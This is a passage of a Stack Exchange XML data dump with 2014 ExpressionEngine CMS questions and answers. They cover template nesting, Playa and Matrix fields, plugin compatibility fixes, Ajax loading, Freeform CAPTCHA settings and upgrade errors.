class=&quot;normal&quot;&amp;gt;{attorney_email}&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/h5&amp;gt;&#xA;                {if v-card != &quot;&quot;}&amp;lt;a href=&quot;{v-card}&quot; class=&quot;button&quot;&amp;gt;V-card&amp;lt;/a&amp;gt;{/if} &#xA;&#xA;                {if attorney_linkedin_profile != &quot;&quot;}&#xA;                &amp;lt;h5&amp;gt;&#xA;                    &amp;lt;a href=&quot;{attorney_linkedin_profile}&quot; class=&quot;normal&quot; target=&quot;_blank&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;/img/global/icon-social-square-blue-linkedin.svg&quot; width=&quot;18&quot; height=&quot;18&quot; alt=&quot;&quot;&amp;gt;LinkedIn Profile&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/h5&amp;gt;{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;            &amp;amp;lt;!-- ==========   TABS CONTENT   ========== --&amp;amp;gt;&#xA;            &amp;lt;div class=&quot;tabs-content&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;tab-1&quot; class=&quot;content active&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;large-12 medium-11 columns medium-centered&quot;&amp;gt;&#xA;                        {tab-1-content}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                {if tab-2-content != &quot;&quot;}&#xA;                &amp;lt;div id=&quot;tab-2&quot; class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;large-12 medium-11 columns medium-centered&quot;&amp;gt;&#xA;                        {tab-2-content}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;{/if} &#xA;&#xA;                {if tab-3-content != &quot;&quot;}&#xA;                &amp;lt;div id=&quot;tab-3&quot; class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;large-12 medium-11 columns medium-centered&quot;&amp;gt;&#xA;                        {tab-3-content}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;{/if} &#xA;&#xA;                {if tab-4-content != &quot;&quot;}&#xA;                &amp;lt;div id=&quot;tab-4&quot; class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;large-12 medium-11 columns medium-centered&quot;&amp;gt;&#xA;                        {tab-4-content}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;{/if} &#xA;&#xA;                {if blog_posts_tab == 'Yes' || channel_short_name == &quot;news_and_articles&quot;}&#xA;                &amp;lt;div id=&quot;tab-5&quot; class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;large-12 medium-11 columns medium-centered&quot;&amp;gt;&#xA;                        &amp;lt;ul class=&quot;no-bullet&quot;&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&#xA;                                &amp;lt;h6&amp;gt;&amp;lt;a href=&quot;{title_permalink}&quot;&amp;gt;{title}&#xA;                                    &amp;lt;div class=&quot;text-serif&quot;&amp;gt;&#xA;                                      &amp;lt;small&amp;gt;{entry_date format=&quot;%l, %F %d, %Y&quot;}&amp;lt;/small&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/h6&amp;gt;&#xA;                                &amp;lt;hr&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is something like this possible??? Do I need an extra plug-in like Stash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the template that's working:&#xA;&lt;a href=&quot;http://www.krinternetlaw.com/attorneys/karl-kronenberger-profile&quot; rel=&quot;nofollow&quot;&gt;http://www.krinternetlaw.com/attorneys/karl-kronenberger-profile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And entry that's not working:&#xA;&lt;a href=&quot;http://www.krinternetlaw.com/attorneys/karl-kronenberger&quot; rel=&quot;nofollow&quot;&gt;http://www.krinternetlaw.com/attorneys/karl-kronenberger&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!!!&#xA;Danny&lt;/p&gt;&#xA;" OwnerUserId="3288" LastActivityDate="2014-08-04T21:20:04.027" Title="Entries within entries from a single channel template" Tags="|channel-entries|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24882" PostTypeId="2" ParentId="22442" CreationDate="2014-08-04T20:56:27.627" Score="0" Body="&lt;p&gt;If you know the field id's for all three of your fields, you could do it the hard way and enable php on input&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$ids = array();&#xA;$channels = ee()-&amp;gt;db-&amp;gt;select('entry_id')&#xA;        -&amp;gt;from('channel_data')&#xA;        -&amp;gt;where('field_id_1 = &quot;photography&quot; OR field_id_2 =&quot;photography&quot; OR field_id_3 = &quot;photography&quot; ')&#xA;        -&amp;gt;get();&#xA;&#xA;if ($channels-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    foreach($channels-&amp;gt;result_array() as $row)&#xA;    {&#xA;        $ids[] = $row['entry_id'];&#xA;    }&#xA;}&#xA;&#xA;$entry_ids = implode(&quot;|&quot;, $ids);&#xA;?&amp;gt;&#xA;{exp:channel:entries channel=&quot;foo&quot; entry_id=&quot;&amp;lt;?php echo $entry_ids;?&amp;gt;&quot;}&#xA;{title}&amp;lt;br/&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-04T20:56:27.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24883" PostTypeId="2" ParentId="24881" CreationDate="2014-08-04T21:20:04.027" Score="3" Body="&lt;p&gt;No add-ons are necessary. You could use an &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;embed&lt;/a&gt;, passing the lawyer's member ID to the embedded template. Embedded templates are parsed separately, and would allow you to use a separate channel entries tag inside another one. You would use the passed member ID in the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;author_id= parameter&lt;/a&gt; of the tag on the &quot;inner&quot; template.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-08-04T21:20:04.027" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24884" PostTypeId="2" ParentId="24880" CreationDate="2014-08-04T21:22:29.537" Score="0" Body="&lt;p&gt;If you are using standard category url methods, you can just use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/category_heading.html&quot; rel=&quot;nofollow&quot;&gt;category heading tag&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-04T21:22:29.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24885" PostTypeId="2" ParentId="24870" CreationDate="2014-08-04T21:35:11.830" Score="2" Body="&lt;p&gt;That's a lot of data so in addition to server performance, you want to consider client-side performance and the page weight. You could eliminate or minimize the server-side issue with long caches or using Varnish, but you'll still have a lot of data transmitted and potentially client-side heavy page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that the visitor only cares about info for clubs they are interested in, and will not likely be browsing all 250 when they visit that page. So another balanced solution would be to retrieve the contents for the revealed container via AJAX. The AJAX template could have a single-entry tag, and return just the one field.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-08-04T21:35:11.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24886" PostTypeId="2" ParentId="24873" CreationDate="2014-08-04T21:36:27.447" Score="1" Body="&lt;p&gt;Are you browsing behind a corporate firewall or some other network caching device? It could be errantly delivering you a stale error. I've also seen Chrome be a bit sticky with caches, so try to delete your browser's cache too.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-08-04T21:36:27.447" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24887" PostTypeId="1" CreationDate="2014-08-04T22:10:21.600" Score="0" ViewCount="80" Body="&lt;p&gt;I've been using the MX Zip plugin for a while, but one function it used was deprecated in version 2.7. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call to undefined method EE_Functions::remove_double_slashes()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a free plugin (&lt;a href=&quot;http://www.eec.ms/add-ons/mx-zip&quot; rel=&quot;nofollow&quot;&gt;http://www.eec.ms/add-ons/mx-zip&lt;/a&gt;), but it looks like it has not been updated for a while. Has anyone found a workaround for this? &lt;/p&gt;&#xA;" OwnerUserId="2743" LastEditorUserId="2743" LastEditDate="2014-08-05T13:39:26.900" LastActivityDate="2014-12-03T15:38:42.150" Title="Need help with the MX Zip plugin for EE 2.7+" Tags="|add-on|update|mx-zip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24888" PostTypeId="1" AcceptedAnswerId="24889" CreationDate="2014-08-05T00:29:49.940" Score="0" ViewCount="175" Body="&lt;p&gt;I just updated my site to EE 2.9 from EE 2.6.1. I'm using MX Notify Control v. 2.4.6 along with the fieldtype MX Delegate Email to send out emails after Zoo Visitor updates. The field type is causing problems throughout the site now. I cannot access any of the Channel Fields in the EE CP, nor access any of the entries that use MX Delegate Email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I have hundreds of Zoo Visitor entries that include a field for MX Delegate email, I was afraid to just remove the field to see if that fixes it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I am getting is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method EE_Fieldtype::EE_Fieldtype() in /home2/account/system/expressionengine/third_party/mx_delegate_email/ft.mx_delegate_email.php on line 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm hoping that Max Lazar or someone will give me a suggestion of what to do.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I ended up doing a search for the Fatal error I mentioned above, and found a hack that worked here: &lt;a href=&quot;http://devot-ee.com/add-ons/support/simple-s3-uploader/viewthread/12869&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/simple-s3-uploader/viewthread/12869&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the MX Delegate Email plugin code, I changed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent::EE_Fieldtype();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent::__construct();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It fixed the problems I mentioned above plus a few others I didn't know were related.&lt;/p&gt;&#xA;" OwnerUserId="1512" LastEditorUserId="1512" LastEditDate="2014-08-05T04:50:54.263" LastActivityDate="2014-08-05T05:13:25.087" Title="MX Notify Control issues with EE 2.9" Tags="|mx-notify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24889" PostTypeId="2" ParentId="24888" CreationDate="2014-08-05T05:13:25.087" Score="1" Body="&lt;p&gt;This compatibility bug was fixed 3 month ago and available &lt;a href=&quot;https://github.com/MaxLazar/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;in last version&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-08-05T05:13:25.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24890" PostTypeId="2" ParentId="24887" CreationDate="2014-08-05T05:15:39.440" Score="1" Body="&lt;p&gt;This error was fixed in &lt;a href=&quot;https://github.com/MaxLazar/zip&quot; rel=&quot;nofollow&quot;&gt;version 3.0.1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-08-05T05:15:39.440" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24892" PostTypeId="1" AcceptedAnswerId="25014" CreationDate="2014-08-05T07:32:03.660" Score="2" ViewCount="120" Body="&lt;p&gt;I am using playa with in matrix field type and want to get the url of playa link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For eg:- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created Channel (named as XYZ) and following fields  as below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a) gallery_name : text&#xA;&#xA;b) gallery : matrix&#xA;&#xA;   i) link  : Playa&#xA;   ii) link_text : text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i want to show gallery link and link_text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using code below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;xyz&quot;}&#xA;&#xA;    {gallery_name} &amp;lt;br/&amp;gt;&#xA;&#xA;    {gallery}       &#xA;        &amp;lt;a href=&quot;{link}{page_uri}{/link}&quot;&amp;gt;{link_text}&amp;lt;/a&amp;gt; &#xA;    {/gallery}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code &lt;code&gt;&amp;lt;a href=&quot;{link}{page_uri}{/link}&quot;&amp;gt;&lt;/code&gt; is not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{link}{page_uri}{/link} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this code is not showing playa link that is selected before for respective text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is missing/wrong here. Please give me a solution.&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-08-11T12:10:12.797" Title="Playa link with matrix field is not working" Tags="|channel-entries|matrix|playa|channel|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24893" PostTypeId="2" ParentId="24870" CreationDate="2014-08-05T08:24:32.340" Score="0" Body="&lt;p&gt;Create your list as normal but don't include the detail on that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a 'detail' template which outputs the club's details using EE's normal URL parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that all works, albeit loading the details into a now page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, on the write some Javascript (or jQuery) which intercepts clicks on the club names and uses Ajax to load the club details - either into a div below the club name or into a modal window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do the Javascript yourself then you can make this even simpler by using a framework such as &lt;a href=&quot;http://foundation.zurb.com/&quot; rel=&quot;nofollow&quot;&gt;Foundation&lt;/a&gt; which gives you some handy tools (such as the Reveal modal) for doing things like this simply by adding a data attribute to your link. I'd make a custom build of Foundation which didn't include the features I wasn't going to use - or look for a standalone jQuery plugin like &lt;a href=&quot;http://fancyapps.com/fancybox/&quot; rel=&quot;nofollow&quot;&gt;Fancybox&lt;/a&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE to explain Ajax&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine one of your clubs was called 'Sports Club' and the URL for your embed would then be /lists/sportsclub&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you visited /lists/sportsclub in your browser then the details for that club would be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All Ajax does is use Javascript to load the URL &lt;strong&gt;without&lt;/strong&gt; reloading the page. You can specify a container into which the loaded HTML gets inserted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That container might be an ever present div, or one created dynamically by the javascript directly after the club you clicked on, or hidden in the foot of the page and used as a modal. It's up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the case of using Fancybox - it creates a modal and loads the HTML from your URL into it. For instance, an Ajax example on the Fancybox site uses this markup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;various fancybox.ajax&quot; data-fancybox-type=&quot;ajax&quot; href=&quot;/demo/ajax.txt&quot;&amp;gt;Ajax&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, this is not an EE question but one on how to implement an Ajax call - specifically using Fancybox.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-08-05T11:44:12.650" LastActivityDate="2014-08-05T11:44:12.650" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24894" PostTypeId="2" ParentId="24873" CreationDate="2014-08-05T10:49:28.970" Score="0" Body="&lt;p&gt;Answered a question regarding this bug a little while ago...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/23787/ee-2-8-1-mailing-list-this-form-has-expired/23790#23790&quot;&gt;EE 2.8.1 mailing list This form has expired&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-08-05T10:49:28.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24895" PostTypeId="2" ParentId="24687" CreationDate="2014-08-05T10:52:15.577" Score="1" Body="&lt;p&gt;You would have to prevent default to stop the existing datepicker opening on input click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then use jQuery UI datepicker to add your own datepicker and customise it. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-08-05T10:52:15.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24896" PostTypeId="2" ParentId="24493" CreationDate="2014-08-05T10:57:45.150" Score="1" Body="&lt;p&gt;Yes it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html&quot; rel=&quot;nofollow&quot;&gt;member_update_start()&lt;/a&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it to fire a basic PHP mail() &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-08-05T10:57:45.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24897" PostTypeId="1" CreationDate="2014-08-05T11:16:02.040" Score="1" ViewCount="69" Body="&lt;p&gt;We have about 7 playa fields in our entry form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to limit the displaying entries but when searching, still to be available to get the desired one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that by limiting the number of shown entries, it will improve the loading time when editing a page like this.&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2014-10-27T11:50:20.350" Title="Limit playa total returned entries in control panel" Tags="|channel-entries|playa|field-editor|memory-limit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24898" PostTypeId="1" CreationDate="2014-08-05T11:50:51.460" Score="1" ViewCount="1779" Body="&lt;p&gt;I'm trying to add a CAPTCHA to a Freeform (free version) form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form is a callback request form that features in the header of the site, so is visible on every page and is not linked to a specific channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the CAPTCHA to show up but the form can be submitted with the CAPTCHA text field left blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know a good way of using a CAPTCHA with Solspace's Freeform in this way?&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2021-08-11T13:03:53.600" Title="Getting CAPTCHA to work with Freeform" Tags="|solspace-freeform|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24899" PostTypeId="1" AcceptedAnswerId="24919" CreationDate="2014-08-05T13:43:04.567" Score="0" ViewCount="76" Body="&lt;p&gt;One of the options in the field setup is to allow users to select more than one answer ('Allow users to vote on multiple answers' Yes/No).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be any mention in the docs of a conditional I can use to test this in my templates. Something like &lt;code&gt;{if poll:multiple_vote}&lt;/code&gt; so I can at least swap out radio buttons for checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is a conditional like this already built in but simply missing from the docs, or do I need to hack the module to get it to work correctly?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2015-08-04T13:54:58.723" Title="Channel Polls : 'Allow users to vote on multiple answers' Conditional?" Tags="|devdemon|channel-polls|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24901" PostTypeId="1" CreationDate="2014-08-05T13:59:30.440" Score="0" ViewCount="271" Body="&lt;p&gt;I need to find an option to allow Multi Currency in Cart Throb checkout.  Is there a way to automatically change the currency based on the customers country code?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2017-06-16T13:55:42.390" Title="Can you use Multi Currency in Cart Throb" Tags="|cartthrob|ecommerce|shopping-cart|currency|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24902" PostTypeId="2" ParentId="24628" CreationDate="2014-08-05T14:08:50.120" Score="1" Body="&lt;p&gt;I'm guessing this was an issue of file corruption, or perhaps some files did not upload properly to the production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These pages appear to be working fine after I deleted all /third_party and /themes files for the Tag module and re-uploaded them to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll keep an eye on it and will post again if anything else comes up. Thank you Solspace for the great support!&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-08-05T14:08:50.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24903" PostTypeId="2" ParentId="24590" CreationDate="2014-08-05T14:15:43.700" Score="2" Body="&lt;p&gt;This was an odd one!  It turns out it was a suhosin.get.max_value_length setting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any value over 128 characters, the variable was dropped from $_GET.  And our combo loader specifies the files to pull in to create the js file via $_GET:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugin=ee_codemirror&amp;amp;amp;file=codemirror/codemirror,codemirror/closebrackets,codemirror/lint,codemirror/overlay,etc, etc, way more than 128 etc....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the comboloader created the js file, there was no file value since it had been dropped entirely- and none of that code was being included in the resulting js file.  Hence massive breakage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tweaking the server config gets it squared away.&lt;/p&gt;&#xA;" OwnerUserId="3156" LastActivityDate="2014-08-05T14:15:43.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24905" PostTypeId="2" ParentId="24898" CreationDate="2014-08-05T14:42:44.947" Score="0" Body="&lt;p&gt;In the documentation there is a parameter to make sure the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#require_captcha&quot; rel=&quot;nofollow&quot;&gt;captcha is required&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes you are using the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_captcha&quot; rel=&quot;nofollow&quot;&gt;freeform captcha&lt;/a&gt; not the default ExpressionEngine one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have done these things already, please edit your question to include your code.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-05T14:42:44.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24906" PostTypeId="1" CreationDate="2014-08-05T14:56:15.790" Score="0" ViewCount="66" Body="&lt;p&gt;I have a simple entry with categories and children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent A&#xA;  Child A&#xA;  Child B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an entry is set to ONLY Parent A I want that entry to display.  BUt what happens is the children entry is displayed instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;on&quot; limit=&quot;1&quot;}&#xA;{content}{/exp:channel:entries}&#xA;&#xA;http://domain.com/home/Classes/category/parent-a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the example above the child category a displays instead of Parent A&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-11-03T19:30:25.960" Title="Show only parent when segment 3 is active and dynamic" Tags="|categories|parent|child-categories|children|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24907" PostTypeId="2" ParentId="24906" CreationDate="2014-08-05T15:09:19.480" Score="1" Body="&lt;p&gt;auto-assign category to parents set to NO fixed it&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-08-05T15:09:19.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24908" PostTypeId="2" ParentId="24901" CreationDate="2014-08-05T15:10:11.337" Score="1" Body="&lt;p&gt;I believe what you're after is: &lt;a href=&quot;https://github.com/CartThrob/addon-multi-location-settings-manager&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CartThrob/addon-multi-location-settings-manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found via this forum post: &lt;a href=&quot;http://cartthrob.com/forums/viewthread/4884/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/forums/viewthread/4884/&lt;/a&gt;, and this one: &lt;a href=&quot;http://cartthrob.com/forums/viewthread/4622/P15/#28813&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/forums/viewthread/4622/P15/#28813&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They look a little outdated (last update 2 years ago!) so don't know how relevent it is to the current release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that helps ;)&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-08-05T15:10:11.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24910" PostTypeId="1" CreationDate="2014-08-05T16:14:51.183" Score="0" ViewCount="198" Body="&lt;p&gt;We migrated our site to a new server and upgraded from EE 2.5.2 to 2.9. Playa and other add-ons were already installed on the site when I inherited it. I updated Playa according to &lt;a href=&quot;https://docs.pixelandtonic.com/playa/installation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;their instructions&lt;/a&gt; but I ran into a bunch of problems. First, while Fieldtypes displayed the new version, 4.5 when I went to Modules it was still saying 4.3.3. No matter what I did I couldn't get it to update in both places. Eventually I figured out it was a problem with permissions on the server so I contacted our host and got that resolved, uploaded the files again but that still didn't help. Ultimately I had to uninstall the plugin using the uninstall option on the backend, then I reinstalled it and that finally worked: I saw the current version 4.5 in both places on the backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the only problem is I got a bunch of PHP errors on the front end whenever I tried to display an article that used the Playa relationships field. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Error Number: 1054&#xA;&#xA;Unknown column 'rel.parent_is_draft' in 'where clause'&#xA;&#xA;SELECT DISTINCT(rel.child_entry_id) AS entry_id FROM exp_playa_relationships rel WHERE rel.parent_entry_id = 1 AND rel.parent_is_draft = 0 ORDER BY rel.rel_order&#xA;&#xA;Filename: /third_party/playa/mod.playa.php&#xA;&#xA;Line Number: 739&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's identical to the problem mentioned in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9687/site-failing-after-update-to-playa-4-4-2&quot;&gt;this thread&lt;/a&gt;. The solution there was that the Playa update didn't complete properly. I uploaded the new files several times. And I even reinstalled the plugin and still got the error. The only way I could get the site to function was to comment out several lines of code in that file. Now the site works and no more PHP errors but neither does Playa work and none of our Related Articles are displaying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? Thanks in advance. :)&lt;/p&gt;&#xA;" OwnerUserId="3449" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2019-04-03T19:00:15.657" Title="PHP errors after upgrading Playa and EE, error number 1054" Tags="|playa|pixelandtonic|ee2-upgrades|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
